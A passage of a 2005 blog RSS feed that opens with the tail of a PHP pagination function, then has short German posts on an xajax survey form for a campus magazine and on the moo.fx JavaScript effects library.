<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> &lt; <span class="re0">$m</span><span class="nu0">-1</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216; &#8230; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="re0">$m</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="re0">$m</span>.<span class="st0">&#8216; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=&#8217;</span>.<span class="re0">$m</span>.<span class="st0">&#8216;&quot; class=&quot;p&quot;&gt;&#8217;</span>.<span class="re0">$m</span>.<span class="st0">&#8216;&lt;/a&gt;&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="re0">$strResult</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>&nbsp;</p>
<p>Download the code <a href="/scripts/php_paging.zip">here</a>.</p>
<p>&nbsp;</p>
<p>Example:<br /><img src="/img/content/paging.png" style="border:1px solid #ccc;"/></p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/paging-function-in-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ajax for campus-magazin</title>
		<link>http://knoxmic.net/ajax-for-campus-magazin/</link>
		<comments>http://knoxmic.net/ajax-for-campus-magazin/#comments</comments>
		<pubDate>Sun, 11 Dec 2005 09:21:42 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[ajax]]></category>
		<category><![CDATA[programmers-corner]]></category>
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/wp2/ajax-for-campus-magazin/</guid>
		<description><![CDATA[Für das noch junge Campus Magazin ( TU Chemnitz ) sollte in kürzester Zeit ein Fragebogen online geschalten werden. Da auch noch keine Webadresse vorhanden war, haben wir (Christian Aurich, Ronny Engelmann) über prosite.de eine DNS-Domain eingerichtet (mit anschließender Weiterleitung auf eigenen Server).
Die Anforderungen waren einfach, viele Fragen, Pflichtfelder und Mailversand + Datenbank- eintrag bei [...]]]></description>
			<content:encoded><![CDATA[<p>Für das noch junge Campus Magazin ( <a href="http://www.tu-chemnitz.de/" target="_blank" title="TU Chemnitz">TU Chemnitz</a> ) sollte in kürzester Zeit ein Fragebogen online geschalten werden. Da auch noch keine Webadresse vorhanden war, haben wir (<a href="http://www.bigr-solutions.net" title="bigr-solutions.net" target="_blank">Christian Aurich</a>, <a href="http://knoxmic.net" title="knoxmic.net" target="_blank">Ronny Engelmann</a>) über <a href="http://www.prosite.de" title="prosite hosting" target="_blank">prosite.de</a> eine DNS-Domain eingerichtet (mit anschließender Weiterleitung auf eigenen Server).</p>
<p>Die Anforderungen waren einfach, viele Fragen, Pflichtfelder und Mailversand + Datenbank- eintrag bei erfolgreichem Ausfüllen. In der Praxis entschieden wir uns (angetrieben von <a href="http://www.i-marco.nl/weblog/archive/2005/11/12/easy_ajax_for_the_masses_with_" title="Easy Ajax for the masses with xajax" target="_blank">Easy Ajax for the masses with xajax</a>) für ein kleines Experiment mit <a href="http://xajax.sourceforge.net/" title="The easiest way to develop asynchronous Ajax applications with PHP" target="_blank">xajax</a>. Damit haben wir die Prüfung der Pflichtfelder bequem in den Hintergrund verschoben, nicht ausgefüllte Bereiche werden nun rot, ausgefüllte grün markiert.</p>
<p>Am Montag (2005-12-11) geht eine nicht kleine Zahl an Flyern für diese Umfrage in der Umgebung raus, mal schauen wieviel Resonanz die Website bekommt. Interessierte können sich das Formular unter <strong><a href="http://www.campus-magazin.org" title="Campus Magazin" target="_blank">http://www.campus-magazin.org</a></strong> anschauen und ausfüllen, eine <a href="http://www.campus-magazin.org/counter" title="campus-magazin.org Zugriffsstatistik" target="_blank">Zugriffsstatistik</a> ist auch vorhanden.</p>
<p><strong>Update:</strong> Nach 5 Tagen sind bereits über > <strong>255</strong> ausgefüllte Fragebögen eingetroffen, liegt das nun am Formular welches zum ausfüllen animiert oder doch an der Werbung?</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/ajax-for-campus-magazin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>javascript effects library</title>
		<link>http://knoxmic.net/javascript-effects-library/</link>
		<comments>http://knoxmic.net/javascript-effects-library/#comments</comments>
		<pubDate>Thu, 27 Oct 2005 15:29:54 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/wp2/javascript-effects-library/</guid>
		<description><![CDATA[Durch moo.fx lassen sich schnell und einfach nette Effekte mit JavaScript erzielen. Der Code ist mehr als einfach einzubinden und die Wirkung ist erstaunlich. Mit nur 8 KB lassen sich Animationen umsetzen die man sonst nur von Flash kennt. Einfach mal testen: Example
]]></description>
			<content:encoded><![CDATA[<p>Durch <a href="http://moofx.mad4milk.net/" target="_blank">moo.fx</a> lassen sich schnell und einfach nette Effekte mit JavaScript erzielen. Der Code ist mehr als einfach einzubinden und die Wirkung ist erstaunlich. Mit nur 8 KB lassen sich Animationen umsetzen die man sonst nur von Flash kennt. Einfach mal testen: <a href="http://moofx.mad4milk.net/tests.html" target="_blank">Example</a></p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/javascript-effects-library/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
